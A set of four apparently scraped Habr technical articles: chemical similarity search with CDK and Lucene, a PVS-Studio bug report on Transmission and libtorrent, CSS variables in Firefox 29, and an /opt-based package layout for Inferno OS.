Поиск похожих молекул в базах данных может быть основан на «молекулярных отпечатках». Часто «молекулярный отпечаток» представляет собой битовую строку, в которой каждому биту соответствует присутствие определённого свойства или структурного фрагмента. В роли меры близости используется коэффициент Танимото (частный случай [коэффициента Жаккара](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%8D%D1%84%D1%84%D0%B8%D1%86%D0%B8%D0%B5%D0%BD%D1%82_%D0%96%D0%B0%D0%BA%D0%BA%D0%B0%D1%80%D0%B0)).
В качестве простого примера молекулярного отпечатка, рассмотрим такой: Предположим, что мы хотим получить молекулярный отпечаток длинны n. Структура нарезается на одномерные цепочки атомов длинной не более чем k. К каждой полученной цепочке применяется hash-функция, которая сопоставляет цепочке число от 0 до n-1. Это число определяет номер бита, который будет выставлен в 1 в отпечатке.
Для таких манипуляций с химическими структурами можно использовать java-библиотеку [Chemistry Development Kit](http://sourceforge.net/apps/mediawiki/cdk/index.php?title=Main_Page) (далее просто CDK). CDK распространяется под лицензией LGPL и содержит java-классы для представления структур, расчёта нескольких типов «молекулярных отпечатков», поддерживает множество химических форматов файлов. Например, нарезка молекулы на фрагменты может быть реализована так:
```
/Для представления химических структур в CDK используются реализации интерфейса IAtomContainer.
IAtomContainer structure;
...
for (IAtom startAtom : structure.atoms()) {
//нам будет интересен класс CDK org.openscience.cdk.graph.PathTools, который содержит метод getPathsOfLengthUpto, нарезающий структуру на одномерные цепочки.
List> paths = PathTools.getPathsOfLengthUpto(structure,
startAtom,
searchDepth);
//Далее делаем что-то с цепочкой атомов
...
}
```
Описанный «молекулярный отпечаток» вычисляется с помощью класса CDK org.openscience.cdk.fingerprint.Fingerprinter.
Для того, чтобы использовать Lucene для поиска структур мы переформулируем поиск структур по отпечаткам в своего рода «поиск слов». Структура, как и в описанном выше методе построения отпечатка, нарезается на короткие одномерные цепочки, которые и будут аналогами слов в текстовом поиске. Таким образом, если мы предоставим системе другую структуру в качестве поискового запроса, то структура-запрос так же будет нарезана на цепочки, и результатом будут те структуры, в которых имеются такие же цепочки атомов. Механизм упорядочивания документов по релевантности будет стремиться выводить в первые позиции результатов те структуры, в которых с одной стороны имеют много совпадений, с другой стороны эти совпадения несильно «разбавлены». То есть логично ожидать, что на первом месте будет точно совпадающая структура (если, конечно, она есть среди проиндексированных), далее похожие структуры, отличающиеся одним атомом или группой, далее ещё сильнее отличающиеся структуры и.т.д.
Стоит заметить, что используемая в Lucene формула ранжирования по умолчанию (модель векторного пространства + TF-IDF) отличается от меры близости Танимото. Можно переопределить класс Similarity из Lucene под формулу коэффициента Танимото, но я не буду на этом останавливаться, тем более что формула по-умолчанию должна дать «качественно правильный» результат: структуры с большой долей пересечений фрагментов будут на первых местах в результате.
Этот подход к индексации и поиску молекул можно реализовать создав для Lucene специальный «[химический токенизатор](https://github.com/AlexanderSavochkin/MolecularLucene/blob/master/lucenechemistry/src/main/java/org/molecularlucene/tokenizer/StructureTokenizer.java)». Токенизатором (tokenizer) называется компонент Lucene, разбивающий текст на отдельные токены (чаще всего токенами являются слова). Я уже привёл выше основную логику работы этого токенизатора. Отличие будет заключаться в том, что в токенизаторе Lucene не надо получать сразу все токены в цикле. Вместо этого нужно реализовать метод [Tokenizer.incrementToken()](https://github.com/AlexanderSavochkin/MolecularLucene/blob/master/lucenechemistry/src/main/java/org/molecularlucene/tokenizer/StructureTokenizer.java#L86), который будет выдавать текстовые представления цепочек атомов по одной.
Существует несколько форматов представления молекул в виде текстовой строки. Пока что остановимся на поддержке только на одного из них — формата [SMILES](http://ru.wikipedia.org/wiki/SMILES). CDK предоставляет парсер SMILES-строки (класс org.openscience.cdk.smiles.SmilesParser). Пользоватья им нетрудно:
```
SmilesParser sp = new SmilesParser(DefaultChemObjectBuilder.getInstance());
String smiles = "OCC(O)C(O)C(O)C(O)CO"; //Sorbitol
IAtomContainer structure = sp.parseSmiles( smiles );
//Далее делаем что-то с полученной структурой
...
```
Логика преобразования SMILES-представления молекул в структуру с целью дальнейшего разрезания её на токены-цепочки помещается в класс [SmilesTokenizer](https://github.com/AlexanderSavochkin/MolecularLucene/blob/master/lucenechemistry/src/main/java/org/molecularlucene/tokenizer/SmilesTokenizer.java).
Позволю себе опустить ряд малозначительных деталей, скажу только, что исходники [выложены на GitHub](https://github.com/AlexanderSavochkin/MolecularLucene). Перейду сразу к примеру использования этих классов для поиска структур. Предположим, что поисковые документы содержат три поля: name — имя химического соединения, description — текстовое описание, и поле smiles — информация о структуре молекулы.
Индексация документов может выглядеть примерно так (используется вспомогательный класс [SmilesAnalyzer](https://github.com/AlexanderSavochkin/MolecularLucene/blob/master/lucenechemistry/src/main/java/org/molecularlucene/tokenizer/SmilesAnalyzer.java), который просто создаёт [SmilesTokenizer](https://github.com/AlexanderSavochkin/MolecularLucene/blob/master/lucenechemistry/src/main/java/org/molecularlucene/tokenizer/SmilesTokenizer.java)):
```
Map analyzerPerField = new HashMap();
analyzerPerField.put(SMILES\_FIELD, new SmilesAnalyzer() );
PerFieldAnalyzerWrapper analyzerWrapper =
new PerFieldAnalyzerWrapper(new StandardAnalyzer(Version.LUCENE\_40), analyzerPerField);
Document doc = new Document();
doc.add( new TextField( "name", "Acetic acid", Field.Store.YES ) );
doc.add( new TextField( "description", "Acetic acid is one of the simplest carboxylic acids. Liquid.", Field.Store.YES ) );
doc.add( new TextField( "smiles", "CC(O)=O", Field.Store.YES ) );
Directory directory = null;
IndexWriter indexWriter = null;
try {
directory = new RAMDirectory();
IndexWriterConfig config = new IndexWriterConfig(Version.LUCENE\_40, analyzerWrapper );
indexWriter = new IndexWriter( directory, config);
indexWriter.addDocument(doc);
}
...
```
Поиск же будет выглядеть примерно вот так:
```
reader = IndexReader.open(directory );
IndexSearcher searcher = new IndexSearcher(reader);
String querystr = "smiles:CCC";
Query q = null;
q = new QueryParser(Version.LUCENE_40, FREE_TEXT_FIELD, getAnalyzer()).parse(querystr);
TopScoreDocCollector collector = TopScoreDocCollector.create(5, true);
searcher.search(q, collector);
ScoreDoc[] hits = collector.topDocs().scoreDocs;
//Дальше что-то делаем с результатами поиска в hits
...
``` | https://habr.com/ru/post/185420/ | null | ru | null |
# Checking BitTorrent in honor of the 20th anniversary. Time == quality
Couple of weeks ago (or to be more precise, on July 2, 2021), the legendary BitTorrent protocol turned twenty years old. Created by Bram Cohen, the protocol has been developing rapidly since its inception, and has quickly become one of the most popular ways to exchange files. So why not check out a couple of long-lived related projects with the PVS-Studio analyzer for Linux?
Introduction
------------
Today we're checking two projects: libtorrent (aka "Rasterbar libtorrent" or "rb-libtorrent") and Transmission.
Libtorrent is a free cross-platform library for working with the BitTorrent protocol, written in C++. On [the official website](https://libtorrent.org/) the list of advantages mentions effective use of CPU and memory resources, and the ease of use. According to the English [wiki](https://en.wikipedia.org/wiki/Comparison_of_BitTorrent_clients), about half of the available BitTorrent clients are based on this library.
Transmission is an [open-source](https://github.com/transmission/transmission) cross-platform BitTorrent client. Just like libtorrent, the main advantages of Transmission are usability and efficient use of resources. Besides, the program has no ads, analytics, or paid versions. Besides, it also has GUI (graphical user interface) for various platforms, and headless versions (without GUI) for installation on servers, routers etc.
How it was checked
------------------
We used the PVS-Studio static analyzer for Linux running in a container with Ubuntu 20.04 via WSL2. First, run the following console commands to install it. Instructions for other systems are also available in the [documentations](https://pvs-studio.com/en/docs/manual/0036/).
```
wget -q -O - https://files.viva64.com/etc/pubkey.txt | \
sudo apt-key add -
sudo wget -O /etc/apt/sources.list.d/viva64.list \
https://files.viva64.com/etc/viva64.list
sudo apt-get update
sudo apt-get install pvs-studio
```
Then, before checking, enter the license data. Do it using the following command:
```
pvs-studio-analyzer credentials NAME KEY
```
(where NAME and KEY are the license name and key, respectively).
Thus, the license is saved in the ~/.config/PVS-Studio/ directory. We do not have to further specify it with every launch.
By the way, about license… We actively support open-source projects developers. Therefore, not only do we report bugs found in the repository, but also provide a [free PVS-Studio version](https://pvs-studio.com/en/blog/posts/0614/) for them. Everyone else can [download and try](https://pvs-studio.com/en/pvs-studio/download/) the PVS-Studio analyzer in action with a temporary license :)
Use the easiest way to start the analysis — ask the build system to generate the compile\_commands.json file (which lists all the parameters and commands needed to build the project). Then pass it to the PVS-Studio analyzer. For this purpose, during the build, we add the -DCMAKE\_EXPORT\_COMPILE\_COMMANDS=On argument to the cmake call. For example:
```
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=On ..
```
To start the analysis, run the following command in the folder that contains the compile\_commands.json file:
```
pvs-studio-analyzer analyze -o transmission.log -j 8
```
where the -o key specifies the file to save the results of the analyzer. And the *-j* flag allows to parallelize the analysis of the required number of threads.
If this way of PVS-Studio introduction is unsuitable, we have examples of using other various build systems and compilers in the [documentation](https://pvs-studio.com/en/docs/manual/0036/).
Another notable point is the use of the SARIF format for viewing the analyzer report. This is especially true for developers who prefer the Visual Studio Code editor. It is because the [Sarif Viewer](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer) extension available for this editor allows you to view the report and go directly to the affected places in code from it. In the screenshot below you can see the Transmission Project check.
To create a report in the SARIF format when working with PVS-Studio for Linux, run the following command after the analysis:
```
plog-converter -t sarif -o ./transmission.sarif ./transmission.log -d V1042
```
where -t sarif just indicates that the result should be saved in the SARIF format. The -o flag indicates the name of the report file. And the -d flag suppresses irrelevant diagnostics in this case.
Read more about the open standard for the exchange of static analysis results (SARIF) on the [OASIS Open](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=sarif) website. And check the "[How to Get Nice Error Reports Using SARIF in GitHub](https://pvs-studio.com/en/blog/posts/cpp/0798/)" article to find the example of interaction with GitHub.
Check results
-------------
We should compliment the developers as the code is quite clean and a very few warnings are worth mentioning. Of course I wanted to find some interesting errors and look into the details, but… alas. The projects are small, and they are clearly handled by experienced developers. We also found references to the use of third-party [static analyzers](https://pvs-studio.com/en/blog/terms/0074/) (Coverity, Cppcheck) in changelogs. However, PVS-Studio managed to find a couple of peculiar mistakes.
### Transmission
Let's start with the Transmission project, as it's more popular and frequently used. Beware: the code is reduced and minimally refactored for ease of reading.
#### Fragment 1: using memset to clear memory.
```
static void freeMetaUI(gpointer p)
{
MakeMetaUI* ui = p;
tr_metaInfoBuilderFree(ui->builder);
g_free(ui->target);
memset(ui, ~0, sizeof(MakeMetaUI));
g_free(ui);
}
```
Warning [V597](https://pvs-studio.com/en/w/v597/) The compiler could delete the 'memset' function call, which is used to flush 'ui' object. The memset\_s() function should be used to erase the private data. makemeta-ui.c:53
The most frequent mistake is to use the memset function to clear memory. In short, the compiler has every right to delete memset *calls* if it considers them meaningless. It usually happens when the buffer is cleared in the end of an operation and is no longer used. To make sure that the compilers can remove an unnecessary call, [check](https://godbolt.org/z/9ojhPYa68) the same code with Compiler Explorer.
Clang 12.0.1 cuts out the memset call when using the -O2 compilation flag. Many people may be like "whatever", but the problem is that the user's private data may not be cleared out. Maybe the data privacy problem isn't relevant to a torrent client. But the developer can write the code this way in a more significant place. To avoid this, specially designed functions (like [memset\_s](https://en.cppreference.com/w/c/string/byte/memset) or [RtlSecureZeroMemory](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlsecurezeromemory?redirectedfrom=MSDN)) should be used. My colleagues have already written [one](https://pvs-studio.com/en/blog/posts/cpp/0360/), [two](https://pvs-studio.com/en/blog/posts/cpp/k0041/) and [three](https://pvs-studio.com/en/blog/posts/cpp/0388/) times about this problem in details.
#### Fragment 2: errors in libraries are also errors.
```
void jsonsl_jpr_match_state_init(jsonsl_t jsn,
jsonsl_jpr_t *jprs,
size_t njprs)
{
size_t ii, *firstjmp;
...
jsn->jprs = (jsonsl_jpr_t *)malloc(sizeof(jsonsl_jpr_t) * njprs);
jsn->jpr_count = njprs;
jsn->jpr_root = (size_t*)calloc(1, sizeof(size_t) * njprs * jsn->levels_max);
memcpy(jsn->jprs, jprs, sizeof(jsonsl_jpr_t) * njprs);
/* Set the initial jump table values */
firstjmp = jsn->jpr_root;
for (ii = 0; ii < njprs; ii++) {
firstjmp[ii] = ii+1;
}
}
```
Warning [V575](https://pvs-studio.com/en/w/v575/): The potential null pointer is passed into 'memcpy' function. Inspect the first argument. Check lines: 1142, 1139. jsonsl.c:1142
Warning [V522](https://pvs-studio.com/en/w/v522/) There might be dereferencing of a potential null pointer 'firstjmp'. Check lines: 1147, 1141. jsonsl.c:1147
Two problems were hiding in this fragment. They both relate to the lack of checking the pointer obtained from the malloc/calloc function. It is possible that the error may never manifest itself at all, but this code should be corrected. Why? It's simple — the developer uses third-party libraries and unconditionally trusts them a part of work and calculations. Few people would be pleased if the program suddenly damaged important data, especially because of a third-party library. This problem and its solutions are described in more detail in one of our previous articles: "[Why it is important to check what the malloc function returns](https://pvs-studio.com/en/b/0558/)".
The analyzer also revealed similar suspicious code fragments:
* V522 There might be dereferencing of a potential null pointer 'jsn'. Check lines: 117, 113. jsonsl.c:117
* V522 There might be dereferencing of a potential null pointer 'i'. DetailsDialog.cc:133
* V522 There might be dereferencing of a potential null pointer. TorrentFilter.cc:320
### libtorrent
Let's finish with the Transmission and see what interesting things we found with the libtorrent project.
#### Fragment 1: insufficient check of array indexes
```
template
void handshake2(error\_code const& e, Handler h)
{
...
std::size\_t const read\_pos = m\_buffer.size();
...
if (m\_buffer[read\_pos - 1] == '\n' && read\_pos > 2) // <=
{
if (m\_buffer[read\_pos - 2] == '\n')
{
found\_end = true;
}
else if (read\_pos > 4
&& m\_buffer[read\_pos - 2] == '\r'
&& m\_buffer[read\_pos - 3] == '\n'
&& m\_buffer[read\_pos - 4] == '\r')
{
found\_end = true;
}
}
...
}
```
Warning [V781](https://pvs-studio.com/en/w/v781/) The value of the 'read\_pos' index is checked after it was used. Perhaps there is a mistake in program logic. http\_stream.hpp:166.
A classic mistake. The developer first tries to get the m\_buffer array element at the read\_pos — 1 index and then check read\_pos for correctness (read\_pos > 2). It's hard to say what would happen in practice. Maybe another variable would be read or maybe Access Violation would occur. After all, undefined behavior was called that for a reason :) The correct solution here is to swap these actions:
```
if (read_pos > 2 && m_buffer[read_pos - 1] == '\n')
```
#### Fragment 2, 3: overwriting values
```
void dht_tracker::dht_status(session_status& s)
{
s.dht_torrents += int(m_storage.num_torrents()); // <=
s.dht_nodes = 0;
s.dht_node_cache = 0;
s.dht_global_nodes = 0;
s.dht_torrents = 0; // <=
s.active_requests.clear();
s.dht_total_allocations = 0;
for (auto& n : m_nodes)
n.second.dht.status(s);
}
```
Warning [V519](https://pvs-studio.com/en/w/v519/) The 's.dht\_torrents' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 205, 210. dht\_tracker.cpp 210.
In this fragment the variable s.dht\_torrents is changed twice: the first time a value is assigned to it, and after a couple of lines it resets without being used between assignments. I.e., we are dealing with a so-called dead store. It's hard to say how code should look like, as the session\_status type contains a large number of fields. Perhaps, one of the assignments is superfluous here or the wrong variable is accidentally reset to zero.
The similar problem lies in the next code fragment. It is aggravated by the fact that overwritten variables are more difficult to notice due to the large amount of code and comments between them. Meanwhile, there are three variables here at once and one of them gets the same value as before the condition. These problems are hard to catch manually, but static analysis does that with ease:
```
void torrent::bytes_done(torrent_status& st, status_flags_t const flags) const
{
...
st.total_done = 0;
st.total_wanted_done = 0;
st.total_wanted = m_size_on_disk;
...
if (m_seed_mode || is_seed())
{
st.total_done = m_torrent_file->total_size() - m_padding_bytes;
st.total_wanted_done = m_size_on_disk;
st.total_wanted = m_size_on_disk;
...
return;
}
else if (!has_picker())
{
st.total_done = 0;
st.total_wanted_done = 0;
st.total_wanted = m_size_on_disk;
return;
}
...
}
```
Warnings from PVS-Studio:
* V1048 The 'st.total\_wanted' variable was assigned the same value. torrent.cpp 3784
* V1048 The 'st.total\_done' variable was assigned the same value. torrent.cpp 3792
* V1048 The 'st.total\_wanted\_done' variable was assigned the same value. torrent.cpp 3793
* V1048 The 'st.total\_wanted' variable was assigned the same value. torrent.cpp 3794
#### Fragment 4: failed explicit type conversion
```
void torrent::get_download_queue(std::vector\* queue) const
{
...
const int blocks\_per\_piece = m\_picker->blocks\_in\_piece(piece\_index\_t(0));
...
int counter = 0;
for (auto i = q.begin(); i != q.end(); ++i, ++counter)
{
partial\_piece\_info pi;
...
pi.blocks = &blk[std::size\_t(counter \* blocks\_per\_piece)];
}
}
```
Warning [V1028](https://pvs-studio.com/en/w/v1028/) Possible overflow. Consider casting operands of the 'counter \* blocks\_per\_piece' operator to the 'size\_t' type, not the result. torrent.cpp 7092
In this case, an explicit type conversion to [size\_t](https://pvs-studio.com/en/blog/terms/0044/) is used for correct access to array elements. The problem is that both operands are signed integers and an overflow may occur while multiplying them. Very often such code can be found when developers try to quickly silence compiler's warnings. But they only multiply errors. In this case it is enough to cast at least one operand to size\_t type to fix the problem. Something like this:
```
pi.blocks = &blk[std::size_t(counter) * blocks_per_piece];
```
Similar problems are also found in the following fragments:
* V1028 Possible overflow. Consider casting operands of the 'new\_size\_words + 1' operator to the 'size\_t' type, not the result. bitfield.cpp 179
* V1028 Possible overflow. Consider casting operands of the 'm\_capacity + amount\_to\_grow' operator to the 'size\_t' type, not the result. heterogeneous\_queue.hpp 207
#### Fragment 5: unnecessary conditions
We found many warnings related to unnecessary conditions in libtorrent as well as in Transmission. They cannot be called false, but it makes no sense to list them, because they are not that interesting. To make it clear, look at the following fragment:
```
char const* operation_name(operation_t const op)
{
...
static char const* const names[] = {
...
};
int const idx = static_cast(op);
if (idx < 0 || idx >= int(sizeof(names) / sizeof(names[0])))
return "unknown operation";
return names[idx];
}
```
Warning [V560](https://pvs-studio.com/en/w/v560/) A part of conditional expression is always false: idx < 0. alert.cpp 1885.
Here the analyzer warns that the idx < 0 check does not make sense because the index variable gets a value from an enumeration in which only unsigned integers are included:
```
enum class operation_t : std::uint8_t
```
Should we pay attention to such warnings? Every developer may have their own opinion on this case. Someone can say that it's pointless to correct them, because they do not indicate real errors, and someone, on the contrary, may say that there is no need to clog the code. We think that such diagnostics is a great opportunity to find good places for future refactoring.
Conclusion
----------
As you see, there were not so many captivating mistakes, which indicates high quality and purity of the tested projects' code. The projects have existed for quite a long time and are actively developed by an open-source community. Judging by the history of commits, projects were previously checked by static analyzers.
The PVS-Studio team loves and actively supports open-source projects. That's why we not only report bugs to developers, but also give them the opportunity to [use PVS-Studio for free](https://pvs-studio.com/en/order/open-source-license/). Let me also quickly remind you about our [free license for students and teachers](https://pvs-studio.com/en/order/for-students/). In case of commercial projects [download and and try](https://pvs-studio.com/en/pvs-studio/download/) our PVS-Studio analyzer. To do this, request a trial license on our website :) | https://habr.com/ru/post/570446/ | null | en | null |
# CSS переменные в Firefox 29
На протяжении многих лет одной из самых частых просьб к рабочей группе CSS была реализация хоть какой-то поддержки объявления и использования переменных в таблицах стилей. После долгих обсуждений, в спецификации [CSS Custom Properties for Cascading Variables](http://dev.w3.org/csswg/css-variables) был принят подход, позволяющий автору устанавливать пользовательские свойства в стилевых правилах, которые каскадируются и наследуются, как и другие наследуемые свойства. Обращения к переменным могут быть выполнены в определениях значений свойства, с использованием синтаксиса `var()`.
Пользовательские свойства, объявляющие переменные, должны именоваться начиная с `var-`. Значения этих пользовательских свойств практически произвольны. Они могут принимать почти любую вереницу символов, при условии что она сбалансирована.
Например, автор может объявить какие-то общие значения в стилевых правилах для корневого элемента, таким образом они будут доступны для каждого элемента документа:
```
:root {
var-theme-colour-1: #009EE0;
var-theme-colour-2: #FFED00;
var-theme-colour-3: #E2007A;
var-spacing: 24px;
}
```
Обращаться к переменным можно в любом месте внутри значения другого свойства, включая остальные пользовательские свойства. Переменные из вышеуказанной таблицы стилей могут быть использованы, например, следующим образом:
```
h1, h2 {
color: var(theme-colour-1);
}
h1, h2, p {
margin-top: var(spacing);
}
em {
background-color: var(theme-colour-2);
}
blockquote {
margin: var(spacing) calc(var(spacing) * 2);
padding: calc(var(spacing) / 2) 0;
border-top: 2px solid var(theme-colour-3);
border-bottom: 1px dotted var(theme-colour-3);
font-style: italic;
}
```
Если их применить к этому документу:
```
The title of the document
=========================
A witty subtitle
----------------
*Please* consider the following quote:
> Text of the quote goes here.
```
результат будет выглядеть как-то так:
Переменные вычисляются на основании значения переменной того элемента к которому применяется свойство со ссылкой на переменную. Если элемент `h2` содержит атрибут `style="var-theme-colour-1: black"`, тогда правило `h2 { color: var(theme-colour-1); }` будет вычислено с использованием этого значения, а не того, что определено в правиле `:root`
Ссылки на переменные так же могут включать в себя запасные значения, которые используются в случае, если переменная не определена или недействительна (из-за участия в цикле обращений к переменной). Первое правило в таблице стилей с использованием переменных можно переписать в виде:
```
h1, h2 {
color: var(theme-colour-1, rgb(14, 14, 14));
}
```
что в результате приведет к установке темно-серого цвета, если переменная `theme-colour-1` не определена в одном из заголовочных элементов.
Поскольку ссылки на переменные раскрываются используя значение переменной в конкретном элементе, этот процесс должен быть выполнен во время определения вычисленного значения свойства. Всякий раз, когда возникает ошибка в процессе подстановки переменной, свойство становиться «недопустимым во время вычисления значения» (“invalid at computed-value time”). Ошибки могут возникать из-за обращения к не объявленной переменной, не имеющей запасного значения, или потому, что подставляемое в свойство значение не было распарсено (например, если мы указали для переменной `theme-colour-1` не цветовое значение и затем применили его для свойства `color`). Если свойство недопустимо во время вычисления значения, само объявление этого свойства парсится успешно, и его можно увидеть, если изучить объект CSSStyleDeclaration в дереве DOM. Однако вычисленное значение этого свойства примет значение по умолчанию. Для наследуемых свойств, таких как `color`, значением по умолчанию будет `inherit`. Для не наследуемых свойств, `initial`.
#### Реализация
Начальная реализация CSS переменных только что добавлена в Firefox Nightly, актуальной является 29 версия. Этот функционал пока не доступен в релизных сборках (таких как, Firefox Beta и релизная версия Firefox), так как прежде чем сделать его широкодоступным, мы ждем решения некоторых проблем в спецификации и для этого шагаем чуть дальше на ниве W3C Process. Однако все это и дальше будет доступно в Nightly, а после 3 февраля перейдет и в Firefox Aurora.
Единственная не реализованная на данный момент часть спецификации — это `CSSVariableMap`, представляющая объект, который напоминает ECMAScript `Map` с методами `get`, `set` и другими методами для получения значений переменных на основании `CSSStyleDeclaration`. Однако, помните, что вы все еще можете добраться до них в DOM-дереве, используя методы `getPropertyValue` и `setProperty`, при условии, что вы используете полные названия свойств, как например `var-theme-colour-1`.
Работа над этой функцией была выполнена в рамках решения [бага 773296](https://bugzilla.mozilla.org/show_bug.cgi?id=773296), и я благодарю [Дэвида Барона](http://dbaron.org/) за обзоры и [Эманнуэля Басси](https://twitter.com/ebassi), который выполнил кое-какие стартовые работы по реализации. Если вы столкнетесь с какими-либо проблемами, используя эту функцию, пожалуйста, [сообщите об ошибке](https://bugzilla.mozilla.org/enter_bug.cgi?product=Core&component=CSS%20Parsing%20and%20Computation&cc=cam@mcc.id.au&blocked=773296)!
Оригинал: [CSS Variables in Firefox 29](http://mcc.id.au/blog/2013/12/variables) | https://habr.com/ru/post/206096/ | null | ru | null |
# Deployment вашего софта для OS Inferno
К сожалению, встроенного механизма для распространения и установки дополнительного софта в [OS Inferno](http://code.google.com/p/inferno-os/) нет. Если вы написали модуль для [Limbo](http://www.vitanuova.com/inferno/limbo.html) или полноценное приложение, и хотите им поделиться, то вариантов его распространения немного:
1. просто выложить ваши файлы на любом сайте, и предоставить пользователям вручную устанавливать их в свою систему куда и как угодно
2. использовать такие же mkfile/mkconfig файлы какие используются стандартными модулями и приложениями в `/appl/`
Как вы понимаете, первый вариант — это, фактически, не вариант. :) Это возврат назад, в пещеры. Второй вариант используется, например, для всего софта в [репозитории mjl](http://www.ueber.net/code/). Но и у этого подхода есть неприятные ограничения, вызванные тем, что ваши файлы в результате просто копируются в системные каталоги `/dis/`, `/module/`, etc. (точно так же, как стандартные модули и приложения из `/appl/`):
* если используется \*nix как host OS, и Inferno установлена общесистемно root-ом или менеджером пакетов вашего дистрибутива, то для установки дополнительных модулей/приложений потребуются права root (либо `sudo mk` в host OS, либо `sudo emu` и нативный `mk`)
* глобальная установка неудобна, если хочется для своего приложения использовать модифицированную версию этих модулей/приложений
* глобальная установка неудобна, если разным приложениям нужны разные версии одного и того же модуля (mjl решает эту проблему традиционным для \*nix способом добавляя номер major версии к имени модуля, что не очень элегантно и приводит к именам вроде «util0.m»)
* деинсталляция превращается в нетривиальную операцию, что в конечном итоге приводит к замусориванию системных каталогов
* имена модулей/приложений разных разработчиков могут конфликтовать (впрочем, эта проблема есть и в \*nix/win, и её можно обойти используя подкаталоги в `/dis/` и `/module/` с именем разработчика или его сайта)
Я хочу предложить альтернативный подход, разработанный по мотивам DJB'шного [slashpackage](http://cr.yp.to/slashpackage/management.html). **Update:** этот подход был недавно принят разработчиками инферно, так что его уже можно считать не альтернативным, а официальным. :)
#### Структура каталогов
1. Создаём глобальный каталог для всего 3rd-party софта `/opt/`. **Update:** каталог уже существует в текущей версии инферно.
2. В `/opt/` создаются отдельные подкаталоги для каждого разработчика/организации, а в них подкаталоги для каждого модуля/приложения — чтобы избежать конфликтов имён между разными разработчиками (напр. `/opt/powerman/hashtable/`).
3. В каталоге с модулем/приложением создаётся структура каталогов аналогичная системным:
* `dis/`
* `dis/lib/`
* `module/`
* `appl/cmd/`
* `appl/lib/`
* и т.д. при необходимости
Все 3rd-party модули/приложения при таком подходе должны искать свои файлы и файлы других не стандартных модулей/приложений внутри каталога `/opt/`.
#### Управление пакетами
##### Установка
При таком подходе, для установки нового модуля/приложения общесистемно (т.е. от root) достаточно одной команды! Например, если модуль/приложение выложен в репозиторий Mercurial на [Google Code](http://code.google.com/hosting/):
```
# hg clone https://inferno-contrib-hashtable.googlecode.com/hg/ $INFERNO_ROOT/opt/powerman/hashtable
```
Установка обычным пользователем локально требует двух команд (предполагается, что в домашнем каталоге пользователя заранее создан подкаталог opt/powerman/):
```
$ hg clone https://inferno-contrib-hashtable.googlecode.com/hg/ opt/powerman/hashtable
; bind opt /opt
```
Дело в том, что репозиторий уже содержит откомпилированные .dis-файлы в подкаталогах `dis/` и `dis/lib/`, и при этом подходе после копирования каталога с модулем/приложением в `/opt/` его .dis-файлы автоматически оказываются именно там, где они и должны быть после «установки».
##### Выбор конкретной версии/использование модифицированной версии
Для того, чтобы ваше приложение использовало не ту версию 3rd-party модуля/приложения, которая по умолчанию находится в `/opt/`, достаточно перед запуском вашего приложения подключить в `/opt/` нужную ему версию (а благодаря namespaces в Inferno это не повлияет на работу других приложений, которым нужна как раз версия по умолчанию):
```
; bind ./my-modified-hashtable/ /opt/powerman/hashtable/
; ./my-app
```
##### (Пере)сборка пакета
Для компиляции и установки (например, если вы внесли локальные изменения в код 3rd-party модуля/приложения) достаточно запустить `mk install` в его каталоге (например, `/opt/powerman/hashtable/`). При этом откомпилированные dis-файлы установятся в подкаталог `dis/` этого модуля/приложения.
##### Обновление
Зависит от способа распространения пакета, но в общем виде сводится к одной-двум командам. Например, для того же Mercurial всё сводится к обычным
```
$ hg pull
$ hg update
```
в каталоге `opt/powerman/hashtable/`. При этом из репозитория подтянутся в т.ч. обновлённые .dis-файлы в `opt/powerman/hashtable/dis/`, и это и будет по сути обновлением пакета.
##### Деинсталляция
Проще некуда. Думаю, вы уже догадались, как это делается, но не могу отказать себе в удовольствии это написать:
```
; rm -r /opt/powerman/hashtable
```
##### Получить список установленного 3rd-party софта
```
; ls /opt/*
```
##### Получить список файлов, входящих в пакет
О, это сложная операция, без базы данных никак — чем мы хуже rpm/apt/portage? :)
```
; fs print /opt/powerman/hashtable/
```
#### Использование этих модулей/приложений
Как видите, управлять такими пакетами пользователю действительно просто и удобно. Теперь давайте посмотрим, как их использовать.
##### Приложения
```
; /opt/powerman/retrymount/dis/retrymount
```
Длинновато? Можно укоротить с помощью функций sh (определения функций прописать один раз в profile):
```
; fn retrymount { /opt/powerman/retrymount/dis/retrymount $* }
; retrymount
```
**Update:** Ещё один способ описан ниже, см. /opt/setup.sh.
##### Модули
```
include "opt/powerman/hashtable/module/hashtable.m";
load HashTable HashTable->PATH;
```
Это сразу заработает если модули установлены локально, т.е. в подкаталог `opt/`. Если модули установлены глобально в `/opt/`, то нужно запускать limbo с дополнительным параметром `-I/` для нативного limbo, или `-I$INFERNO_ROOT` при запуске limbo из host OS. Это тоже можно настроить однократно, например для нативного limbo:
```
; fn limbo { builtin limbo -I/ $* }
```
#### Разработка этих модулей/приложений
Чтобы создать пакет устанавливаемый в `/opt/` нужно соблюдать несколько простых правил:
##### module/hashtable.m-файл:
```
PATH: con "/opt/powerman/hashtable/dis/lib/hashtable.dis";
```
##### appl/{lib,cmd}/\*.b-файл:
```
include "../../module/hashtable.m";
load HashTable HashTable->PATH;
```
##### mkfile:
Все пути относительные, например:
```
MODULES=\
../../module/hashtable.m\
DISBIN=../../dis/lib
```
#### /opt/setup.sh
**Update!**
Ещё один вариант использования 3rd-party модулей и приложений заключается в том, чтобы подключить их с помощью bind из `/opt/` в стандартные каталоги. Как сделать это просто и универсально пока не совсем понятно, но есть частичное решение. Показанный ниже скрипт (я его обычно держу в `/opt/setup.sh`) подключит все команды и man-страницы из `/opt/*` в `/dis/` и `/man/`. Таким образом, команды можно будет запускать просто по имени, без полного пути вроде `/opt/powerman/retrymount/dis/retrymount` и документацию на 3rd-party приложения и модули просматривать штатными средствами.
```
#!/dis/sh -n
load std
for d in /opt/*/man/* /opt/*/*/man/* {
or {ftest -d $d} {raise continue}
n := `{basename $d}
bind -b $d /man/$n
}
for d in /opt/*/dis/* /opt/*/*/dis/* {
or {ftest -d $d} {raise continue}
n := `{basename $d}
and {~ $n lib} {raise continue}
and {~ $n cmd} {n=''}
bind -b $d /dis/$n
}
```
**Update2!**
Улучшенная версия описанного выше `/opt/setup.sh` теперь выложена в виде проекта [inferno-opt-setup](http://code.google.com/p/inferno-opt-setup/). Функциональность разделена на два скрипта: `/opt/setup/cmd` и `/opt/setup/man`, которые можно использовать независимо.
